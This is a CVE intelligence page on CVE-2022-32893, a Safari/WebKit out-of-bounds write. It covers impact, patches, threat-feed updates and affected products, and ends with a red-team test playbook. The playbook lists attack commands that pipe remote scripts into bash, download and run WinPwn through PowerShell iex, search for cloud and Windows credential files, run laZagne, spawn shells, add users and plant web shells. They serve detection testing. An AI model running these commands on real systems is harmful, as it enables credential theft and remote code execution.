CVE-2022-32893
Overview
This vulnerability is an out-of-bounds write flaw caused by insufficient bounds checking during the processing of web content in Apple Safari and related operating systems. The root cause lies in the improper validation of memory boundaries when handling crafted input, which affects the browser's rendering engine and associated components responsible for content parsing. This flaw enables memory corruption through writing outside allocated buffers.
Vulnerability Description
An out-of-bounds write issue was addressed with improved bounds checking. This issue is fixed in iOS 15.6.1 and iPadOS 15.6.1, macOS Monterey 12.5.1, Safari 15.6.1. Processing maliciously crafted web content may lead to arbitrary code execution. Apple is aware of a report that this issue may have been actively exploited.
Impact
An attacker can execute arbitrary code within the context of the Safari browser by exploiting this vulnerability, potentially leading to full compromise of the affected device. Exploitation requires only that a user visits a maliciously crafted webpage, with no prior authentication needed. Successful exploitation may allow attackers to run code with the same privileges as the browser, access sensitive information, or install persistent malware, resulting in significant security breaches and loss of data confidentiality and integrity.
Solution
Apple has addressed this vulnerability by releasing security updates in iOS 15.6.1, iPadOS 15.6.1, macOS Monterey 12.5.1, and Safari 15.6.1. Users and administrators should apply these updates promptly. Detailed patch instructions and update availability are documented in Apple's security support pages (https://support.apple.com/en-us/HT213414, https://support.apple.com/en-us/HT213412, https://support.apple.com/en-us/HT213413). Additional vendor advisories from Fedora, Debian, and Gentoo provide supplemental guidance for related package updates.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in question pertains to an out-of-bounds write issue that arises due to inadequate bounds checking within certain software components. This flaw allows an attacker to manipulate memory in a way that could lead to arbitrary code execution. Specifically, the affected products include various versions of iOS, iPadOS, macOS, and Safari, as well as certain Linux distributions and web rendering engines. The core of this vulnerability lies in the mishandling of memory allocation, which can be exploited when processing maliciously crafted web content. When the application fails to properly validate the size and boundaries of memory buffers, it opens the door for attackers to overwrite memory locations, potentially leading to the execution of arbitrary code with the privileges of the user running the affected application.
Attack vectors for this vulnerability are primarily web-based, making it particularly insidious as it can be exploited through seemingly benign web pages. An attacker could craft a malicious website or inject harmful content into a legitimate site, enticing users to visit or interact with it. Once a user accesses the compromised content, the vulnerability can be triggered, allowing the attacker to execute arbitrary code on the user's device. This could lead to a range of malicious activities, from data theft to the installation of malware, all while the user remains unaware of the ongoing exploitation. Furthermore, the fact that reports indicate this vulnerability may have been actively exploited in the wild underscores the urgency for users to remain vigilant and apply necessary updates.
The real-world impact of this vulnerability is significant, particularly for businesses that rely on the affected platforms for daily operations. The potential for arbitrary code execution means that sensitive data could be compromised, leading to financial losses, reputational damage, and legal ramifications. Organizations that utilize these products must consider the implications of a successful exploit, which could result in unauthorized access to confidential information, disruption of services, or even a complete takeover of affected systems. The high CVSS score of 8.8 reflects the severity of the risk, emphasizing the need for immediate action to mitigate potential threats.
To effectively detect and mitigate this vulnerability, organizations should prioritize updating their systems to the latest versions of the affected software, as patches have been released to address the issue. Regularly monitoring and applying security updates is crucial in maintaining a secure environment. Additionally, implementing robust web filtering solutions can help block access to known malicious sites and content. Organizations should also conduct security awareness training for employees, educating them on the risks associated with visiting untrusted websites and the importance of maintaining updated software. Employing intrusion detection systems can further aid in identifying potential exploitation attempts, allowing for timely responses to mitigate threats.
In conclusion, the out-of-bounds write vulnerability presents a serious risk to users of the affected products, with the potential for significant real-world consequences. As cyber threats continue to evolve, it is imperative for organizations and individuals alike to remain proactive in their cybersecurity practices. By understanding the nature of this vulnerability, recognizing the potential attack vectors, and implementing effective detection and mitigation strategies, stakeholders can better protect themselves against the risks posed by such vulnerabilities.
CSURFACE threat intelligence has identified a marked escalation in detection activity related to CVE-2022-32893, coinciding with its recent inclusion in the CISA Known Exploited Vulnerabilities (KEV) catalog. This formal recognition underscores the vulnerability’s elevated risk profile and signals increased attention from both defenders and threat actors. Our telemetry indicates a rapid upward trend in exploitation attempts, reflected in a significant rise in the Exploit Prediction Scoring System (EPSS) score, now placing this vulnerability in the upper percentile of likely exploitation. Although no new exploit techniques have been publicly disclosed, the surge in observed malicious activity suggests active exploitation in the wild, amplifying the urgency for defensive monitoring. Consequently, the threat level associated with CVE-2022-32893 has escalated from moderate to high, necessitating heightened vigilance among security teams to detect and respond to potential compromises targeting affected Apple Safari environments.
Update 2 — July 30, 2026
CSURFACE threat intelligence has detected a marked escalation in activity related to CVE-2022-32893, with our telemetry revealing a doubling in detection frequency over a short period. This surge underscores an intensification of adversary efforts to exploit the out-of-bounds write vulnerability in Apple Safari, despite the absence of newly disclosed exploit techniques. The increased detection rate signals that threat actors may be refining or expanding their operational use of existing exploit methods, potentially increasing the likelihood of successful arbitrary code execution on affected systems. For defenders, this development heightens the imperative to maintain rigorous monitoring and incident response readiness, as the elevated exploitation activity raises the risk of compromise. Consequently, the threat level associated with this vulnerability has been elevated further within the high category, reflecting an increased probability of active exploitation in the wild and underscoring the critical need for sustained vigilance.
Affected Products (10)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
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Apple | Safari | All |
cpe:2.3:a:apple:safari:*:*:*:*:*:*:*:*
|
|
|
Apple | Ipados | All |
cpe:2.3:o:apple:ipados:*:*:*:*:*:*:*:*
|
|
|
Apple | Iphone Os | All |
cpe:2.3:o:apple:iphone_os:*:*:*:*:*:*:*:*
|
|
|
Apple | Macos | All |
cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*
|
|
|
Fedoraproject | Fedora | 35 |
cpe:2.3:o:fedoraproject:fedora:35:*:*:*:*:*:*:*
|
|
|
Fedoraproject | Fedora | 36 |
cpe:2.3:o:fedoraproject:fedora:36:*:*:*:*:*:*:*
|
|
|
Debian | Debian Linux | 10.0 |
cpe:2.3:o:debian:debian_linux:10.0:*:*:*:*:*:*:*
|
|
|
Debian | Debian Linux | 11.0 |
cpe:2.3:o:debian:debian_linux:11.0:*:*:*:*:*:*:*
|
|
|
Webkitgtk | Webkitgtk | All |
cpe:2.3:a:webkitgtk:webkitgtk:*:*:*:*:*:*:*:*
|
|
|
Wpewebkit | Wpe Webkit | All |
cpe:2.3:a:wpewebkit:wpe_webkit:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
7 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.